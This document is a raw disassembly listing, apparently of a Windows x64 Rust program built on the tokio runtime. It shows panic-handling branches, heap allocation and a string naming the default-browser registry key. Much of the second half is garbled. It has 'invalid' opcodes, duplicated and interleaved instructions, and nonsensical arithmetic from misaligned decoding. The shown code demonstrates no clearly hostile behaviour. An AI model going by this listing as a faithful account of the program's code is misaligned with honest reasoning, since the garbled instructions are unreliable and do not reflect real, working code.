lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0x39
call fcn.1400a4530
ud2
cmp dword [rbp + 0x460], 3
je 0x140037f86
lea rcx, [rsi + 0xc8]
call fcn.1400a5fa0
cmp byte [rsi + 0xf8], 0
jne 0x140037b4b
mov byte [rsi + 0xf8], 1
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0xc8], cl
jne 0x1400392cc
mov rdi, qword [rsi + 0x68]
test rdi, rdi
je 0x140037f86
cmp qword [rbp + 0xa8], 0
jne 0x140037fa3
mov rax, qword [0x1400f02b8]
shl rax, 1
test rax, rax
je 0x1400391ee
call fcn.1400a7ca0
test al, al
je 0x140037ecf
lea rax, [0x1400e3fc8]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
jmp 0x140039787
lea rcx, [rsi + 0xc8]
call fcn.1400a5c60
jmp 0x140037f4f
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1400e5be8]
mov edx, 0x28
call fcn.1400a4530
ud2
mov qword [rbp + 0x460], 0
lea rdx, [0x1400e5bb0]
lea r9, [0x1400e5bb8]
jmp 0x14003932b
mov qword [rbp + 0x460], 0
lea rdx, [0x1400e3968]
lea r9, [0x1400e5bd0]
lea rcx, [rbp + 0x1c0]
lea r8, [rbp + 0x460]
call fcn.1400a8990
ud2
mov qword [rbp + 0x460], 0
add rdi, 0x10
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x460]
mov rcx, rdi
call fcn.1400a8b10
ud2
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1400a4800
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1400a4800
ud2
lea rcx, str.core_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.1400a4960
ud2
lea rcx, str._async_fn__resumed_after_completionSOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
lea r8, str.h__v_
mov edx, 0x23
call fcn.1400a4530
ud2
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x4d0]
mov qword [rax + 0x140], rcx
cmp qword [rbp + 0x3b0], 0
jne 0x14003945b
mov rcx, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b0], 0xffffffffffffffff
test rcx, rcx
jne 0x14003947a
xor eax, eax
jmp 0x140039489
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1400e5b08]
jmp 0x1400392eb
mov ecx, 8
mov edx, 0x30
call fcn.1400a42a0
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1400a4800
ud2
mov ecx, 0x80
mov edx, 0x80
call fcn.1400a42a0
ud2
call fcn.140009740
mov rax, qword [rbp + 0x3b0]
inc rax
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], rax
lea rcx, [rbp + 0x3a0]
call fcn.1400095c0
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x470], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x478], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x460]
call fcn.1400a4370
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
call fcn.1400a4860
ud2
mov ecx, dword [0x1400f02c4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x108], rax
xor eax, eax
jmp 0x140039721
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x1400a9f20]
lea r8, [rbp + 0x4a9]
mov edx, 0x1b
call fcn.1400a48c0
ud2
mov qword [rbp + 0x270], rsi
lea rax, [rbp + 0x270]
mov qword [rbp + 0xa8], rax
lea rax, [0x14007ba20]
mov qword [rbp + 0xb0], rax
lea rax, str.OS_cant_spawn_worker_thread:
jmp 0x14003974a
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1400e54d0]
mov edx, 0x27
call fcn.1400a4530
ud2
mov al, 1
mov byte [rbp + 0x270], al
lea rax, [rbp + 0x270]
mov qword [rbp + 0xa8], rax
lea rax, [0x140094f70]
mov qword [rbp + 0xb0], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
mov qword [rbp + 0x2c0], 0
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rbp + 0x2a0]
call fcn.1400a4370
ud2
mov qword [rbp + 0x4c8], r9
jmp 0x1400397af
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400a4800
ud2
add rcx, r11
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], rbx
mov qword [rbp + 0x2b8], rcx
lea rax, [0x1400e3368]
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, fcn.1400093b0
lea r8, [rbp + 0x2a0]
mov edx, 0x2f
call fcn.1400a48c0
ud2
lea rcx, str.assertion_failed:_self.tail.is_none__
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcutillinked_list.rs
mov edx, 0x25
call fcn.1400a4530
ud2
mov ecx, 8
mov edx, 0x38
call fcn.1400a42a0
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400a4860
ud2
lea rcx, str.assertion_failed:_shared.shutdown_tx.is_some__C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_blockingpool.rs
lea r8, [0x1400e5640]
mov edx, 0x2e
call fcn.1400a4530
ud2
mov qword [rbp + 0x2a0], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_building_the_Runtime
lea r9, [0x1400a9f40]
lea r8, [rbp + 0x2a0]
jmp 0x1400396cd
lea rax, [0x1400e59b0]
mov qword [rbp + 0x200], rax
lea rax, [0x14003e180]
mov qword [rbp + 0x208], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
mov qword [rbp + 0x2c0], 0
lea rax, [rbp + 0x200]
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimehandle.rs
jmp 0x140039787
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
call fcn.1400a4800
ud2
add rcx, 0x10
xor edx, edx
call fcn.1400776a0
lea rax, str.too_many_running_threads_in_thread_scope_b
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2b8], xmm0
lea rdx, str.library_std_src_thread_scoped.rs_
jmp 0x140039787
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_park_thread
lea r9, [0x1400a9f20]
lea r8, [rbp + 0x4a9]
mov edx, 0x15
call fcn.1400a48c0
ud2
lea rcx, str.driver_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xe
call fcn.1400a4960
ud2
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadmod.rs
jmp 0x140039787
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
jmp 0x140039787
lea rax, str.expected_MultiThread_scheduler
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadmod.rs
jmp 0x140039787
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x3b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3b8], xmm0
lea rdx, str.srcmain.rs
jmp 0x140039d08
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x3b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
jmp 0x140039d08
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x3b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x3a0]
call fcn.1400a4370
ud2
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x2b0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2b8], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermod.rs
jmp 0x140039787
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1400a4800
ud2
lea rcx, str.core_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
jmp 0x140039395
lock dec qword [rsi]
jne 0x140039dec
mov rcx, qword [rbp + 0x2a0]
call fcn.140080750
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1400dfdb0]
jmp 0x140039f08
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x470], rax
movdqu xmmword [rbp + 0x478], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulercurrent_threadmod.rs
jmp 0x1400394dd
mov rcx, rsi
call fcn.140009740
lea rax, [0x1400e3608]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1400a9f20]
lea r8, [rbp + 0x4a9]
mov edx, 0x46
call fcn.1400a48c0
ud2
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
mov edx, 0x68
call fcn.1400a4960
ud2
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, rdx
mov qword [rsp + 0x38], rcx
lea rdi, [rcx + 0x18]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.NulError_
mov r8d, 8
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [fcn.14003e3d0]
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov rdx, rdi
call fcn.14003fc80
lea r8, [0x14003c820]
lea rdx, [rsp + 0x38]
mov rcx, rsi
call fcn.14003fc80
mov rax, qword [rsp + 0x20]
movzx ecx, byte [rsp + 0x30]
test rax, rax
je 0x14003c802
mov bl, 1
test cl, cl
jne 0x14003c804
mov rsi, qword [rsp + 0x28]
cmp rax, 1
jne 0x14003c7e6
cmp byte [rsp + 0x31], 0
je 0x14003c7e6
test byte [rsi + 0x34], 4
jne 0x14003c7e6
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14003c804
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14003c804
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov qword [rsp + 0x38], r14
and al, 0x38
inc r14
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14003fdc0
sub dh, byte [0x13f4cc898]
iretd
jne 0x14003c880
sub dh, byte [0x13f4cc898]
iretd
movzx eax, byte [rsp + 0x30]
mov cl, 1
test al, al
jne 0x14003c8c5
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400df554]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov eax, ecx
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
adc byte [rbx + r9*4 + 0x42], cl
sbb byte [rdx - 0x73], cl
xor al, 8
xor r11d, r11d
mov r10, r8
ret 0x294d
retf 0xf4c
fidiv word [r10 + 0x54]
ret 0x294d
je 0x14003c95b
movzx r8d, byte [r11]
cmp r10, 1
je 0x14003c973
cmp r8b, 0xd
jne 0x14003c973
xor r8d, r8d
cmp byte [r11 + 1], 0xa
sete r8b
lea rsi, [r8 + 1]
not r8
jmp 0x14003c991
test r8, r8
je 0x14003ca68
cmp r8, 1
jne 0x14003c9c9
movzx r10d, byte [rax]
xor r9d, r9d
adc byte [rbp + 0x31], al
leave
jmp 0x14003c9e9
movzx edi, r8b
mov r8, 0xffffffffffffffff
sar bh, 0xff
invalid
invalid
mov esi, 1
cmp edi, 0xa
je 0x14003c991
sar bh, 0xff
invalid
cmp edi, 0xd
jne 0x14003ca6e
add r11, rsi
add r10, r8
mov qword [rdx + 0x10], r11
mov qword [rdx + 0x18], r10
mov dword [rdx + 0x18], edx
mov dword [rdx + 0x18], edx
jmp 0x14003ca5a
jmp 0x14003ca27
lea r9, [r8 - 1]
movzx r10d, byte [rax + r8 - 1]
mov dh, 0x54
add bh, bh
inc qword [rsi + 0xf]
mov dh, 0x54
add bh, bh
cmp r10b, 0xa
jne 0x14003c9e9
lea r10, [r8 - 2]
cmp byte [rax + r8 - 2], 0xd
jl 0x14003c9e1
invalid
invalid
push rax
inc byte [rdx - 0x80]
jl 0x14003c9e1
dec byte [0x10a47d934]
cmove r9, r10
jmp 0x14003c9fc
cmp r10b, 0xd
je 0x14003c9fc
cli
or eax, 0xf450d74
movzx r10d, r10b
movzx r10d, r10b
cmp r10d, 0xa
je 0x14003c9fc
mov r9, r8
ror dword [rbp + rcx*4 + 5], 0x7d
xchg ebx, eax
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
jge 0x14003c994
or al, byte [rax]
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
add byte [rax], al
add byte [rax], al
jmp 0x14003ca5a
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
jne 0x14003ca5a
xor r8d, r8d
jmp 0x14003ca68
add eax, 0xa9335
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
add byte [rax], al
add byte [rax], al
mov r9, r10
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov r8d, 1
mov qword [rcx], r8
pop rdi
pop rsi
ret
mov qword [rcx + 8], 0
mov byte [rcx + 0x10], 0
jmp 0x14003ca62
clc
invalid
push rcx
mov r8, rax
mov eax, eax
shr r8, 0x3f
sar rax, 0x27
add eax, r8d
add eax, eax
imul eax, eax, 0x190
sub edx, eax
mov eax, edx
sar eax, 0x1f
nop
add dword [rax], eax
add byte [rcx], ch
ret 0xd089
and eax, 0x190
add eax, edx
cdqe
cmp eax, 0x190
jae 0x14003cba0
lea r8, [0x1400cf03c]
movzx r8d, byte [rax + r8]
xor eax, eax
mov r9d, 0x406
bt r9d, r8d
adc eax, 0x34
jmp 0x14003cb52
xor eax, eax
mov r9d, 0x406
invalid
add al, 0
add byte [rcx + 0xf], al
invalid
invalid
adc eax, 0x34
invalid
invalid
invalid
sal byte [rcx + rsi], 1
xor edx, edx
cmp r8d, eax
ror byte [rdi], 0x97
ret 0x1b8
add byte [rax], al
invalid
rol byte [rcx + 0x39], cl
ror byte [rdi], 0x97
ret 0x1b8
cmovbe eax, r8d
rol byte [rcx], 0xd1
add ecx, edx
movsxd rdx, ecx
imul r8, rdx, 0x51eb851f
mov r9, r8
shr r9, 0x3f
sar r8, 0x27
add r8d, r9d
imul r8d, r8d, 0x190
imul eax, eax, 0x190
sub edx, r8d
sub edx, eax
mov r8d, edx
sar r8d, 0x1f
and r8d, 0x190
add r8d, edx
movsxd r9, r8d
cmp r9d, 0x190
jae 0x14003cb8a
add byte [rbx + 0x1b], dh
lea rdx, [0x1400cf03c]
movzx edx, byte [r9 + rdx]
shl ecx, 0xa
shl eax, 4
loopne 0x14003cb85
or eax, ecx
or eax, edx
add rsp, 0x28
add esp, 0x28
invalid
ret
lea r8, [0x1400cf240]
lea eax, [0x1400cf240]
scasd eax, dword [rdi]
or dword es:[rax], eax
or dword [rax], eax
mov edx, 0x190
mov rcx, r9
mov ecx, ecx
add dword [rax], eax
add byte [rcx + rcx*4 - 0x37], cl
mov ecx, ecx
call fcn.1400a4430
ud2
invalid
js case.0x14007fe84.124
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea r8, [0x1400cf240]
cdq
or dword es:[rax], eax
mov edx, 0x190
mov rcx, rax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
shr eax, 0x7c
js 0x14003cbb9
call fcn.1400a4430
ud2
add byte [rdi], cl
or ecx, esp
int3
int3
int3
int3
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x77], cl
mov rsi, rcx
invalid
movzx eax, byte [rdx]
lea rcx, [0x1400e6ba0]
lahf
or al, byte [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
add eax, ecx
jmp rax
loopne case.0x140024c87.89
movups xmm0, xmmword [rdx + 8]
adc byte [rdx + 8], al
movups xmmword [rsi + 8], xmm0
xor eax, eax
jmp 0x14003cd8a
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rbx, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
mov rbx, qword [rdx + 8]
mov ebx, dword [rdx + 8]
mov rdi, qword [rdx + 0x10]
mov edi, dword [rdx + 0x10]
test rdi, rdi
test edi, edi
je case.0x14002cfa3.19
add byte [rcx], al
add byte [rax], al
js 0x14003cd96
add byte [rax], al
movzx eax, byte [0x1400f02c0]
mov dh, 5
mov ah, 0x36
add eax, 0xb36b4
or eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0xb360d
invalid
or eax, dword ss:[rax]
or eax, dword [rax]
mov rcx, qword [0x1400f0220]
or eax, 0x48000b36
test ecx, ecx
or eax, dword [rax]
test rcx, rcx
jne case.0x14002cfa3.13
sbb edi, edi
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x6c6fa
mov byte [rsi], 0
test rax, rax
test eax, eax
je 0x14003ccab
test byte [rax + rax - 0x76b80000], al
ror dword [rax - 0x77], 5
mov dword [0x1400f0220], eax
xor edx, edx
test byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x1400f0220], rax
mov dword [0x1400f0220], eax
mov dword [0x1400f0220], eax
or eax, dword [rax]
xor edx, edx
mov r8, rdi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x6c6e4
invalid
add byte [rcx - 0x77], cl
invalid
mov r14, rax
mov esi, eax
test rax, rax
jne 0x14003cd05
jmp 0x14003ccab
invalid
movups xmm0, xmmword [rdx + 8]
movups xmmword [rsi + 8], xmm0
mov al, 2
jmp 0x14003cd8a
mov rbx, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
jp 0x14003cc71
jp 0x14003cc71
test rdi, rdi
je case.0x1400356f8.15
add byte [rax], al
invalid
dec dword [rdi]
test byte [rbp + 0xf000000], dh
add byte [rax], al
add byte [rdi], cl
invalid
js 0x14003cd96
mov byte [rsi], ah
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f02c0]
mov dh, 5
or eax, dword ss:[rax]
mov rcx, qword [0x1400f0220]
test rcx, rcx
test ecx, ecx
movabs byte [0x1575c98548000b35], al
xor eax, 0x8548000b
leave
test ecx, ecx
jne 0x14003cc98
call qword [sym.imp.kernel32.dll_GetProcessHeap]
invalid
add byte [rax - 0x7b], cl
test rax, rax
je 0x14003ccab
sal byte [rbp + rbx + 0x48], 0x89
ror dword [rax - 0x77], 5
mov dword [0x1400f0220], eax
xor edx, edx
mov rcx, rax
mov ecx, eax
mov qword [0x1400f0220], rax
mov dword [0x1400f0220], eax
add eax, 0xb3588
xor eax, 0xd231000b
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, edi
xor edx, edx
mov r8, rdi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapAlloc]
jge case.0x14002753a.59
invalid
add byte [rcx - 0x77], cl
mov r14, rax
invalid
test rax, rax
jne 0x14003cd25
invalid
jp 0x14003cc65
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov rdx, rdi
call fcn.1400a42a0
ud2
or ecx, dword [rdi]
mov bh, 0x42
add dword [rsi - 0x77], esp
add dword [rax + 0xc1e904], r14d
rol dword [rax], 0
invalid
movzx eax, word [rdx + 1]
mov word [rsi + 1], ax
mov al, 4
jmp 0x14003cd8a
rol dword [rax], 0
invalid
rol dword [rax], 0
add byte [rdi], cl
movzx eax, byte [rdx + 1]
lea ecx, [rax - 4]
movzx ecx, cl
movzx eax, byte [rdx + 1]
lea ecx, [rax - 4]
movzx ecx, cl
cmp cl, 0x13
mov edx, 0x13
adc edi, dword [rdx + 0x13]
cmovb edx, ecx
movzx ecx, dl
lea rdx, [0x1400e6bbc]
adc eax, 0xa9ed4
adc eax, 0xa9ed4
add byte [rax + 0x63], cl
or al, 0x8a
invalid
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
add rcx, rdx
jmp rcx
mov al, 4
add al, 0xe9
lea eax, [rax]
add byte [rax], al
invalid
jmp 0x14003cd85
add byte [rax + 0x8be906], dh
mov al, 6
jmp 0x14003cd8a
mov eax, dword [rax]
add byte [rax], al
mov eax, dword [rax]
add byte [rax], al
mov r14d, 1
add byte [rax], al
mov rcx, r14
int1
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
or byte [rcx + 6], al
invalid
or byte [rcx + 6], al
add byte [rcx + rcx*4 + 0x76], cl
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
mov al, 1
jmp 0x14003cd8a
mov r14d, 1
add byte [rax], al
mov rcx, r14
int1
mov rdx, rbx
mov edx, ebx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
invalid
invalid
invalid
invalid
call 0x18c03d374
mov dword [rsi + 8], esi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
mov al, 3
jmp 0x14003cd8a
mov al, 5
jmp 0x14003cd85
mov al, 6
jmp 0x14003cd85
mov al, 7
jmp 0x14003cd85
mov al, 8
jmp 0x14003cd85
mov al, 9
jmp 0x14003cd85
mov al, 0xa
jmp 0x14003cd85
mov al, 0xb
jmp 0x14003cd85
sub dh, byte [rax - 0x4fd914f4]
or eax, 0xeb022eb
mov al, 0xe
mov al, 0xc
jmp 0x14003cd85
mov al, 0xd
jmp 0x14003cd85
mov al, 0xe
jmp 0x14003cd85
mov al, 0xf
jmp 0x14003cd85
mov al, 0x10
jmp 0x14003cd85
mov al, 0x11
jmp 0x14003cd85
mov al, 0x12
jmp 0x14003cd85
mov al, 0x13
jmp 0x14003cd85
mov al, 0x14
jmp 0x14003cd85
mov al, 0x15
jmp 0x14003cd85
mov al, 0x16
mov byte [rsi + 1], al
mov al, 5
mov byte [rsi], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.14003bdd0
ud2
cmp dword [rdx], 0
je 0x14003ce3a
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
test r8, r8
je 0x14003ceaa
movzx eax, byte [r9]
lea r10, [r8 + r9]
adc al, 8
inc r10
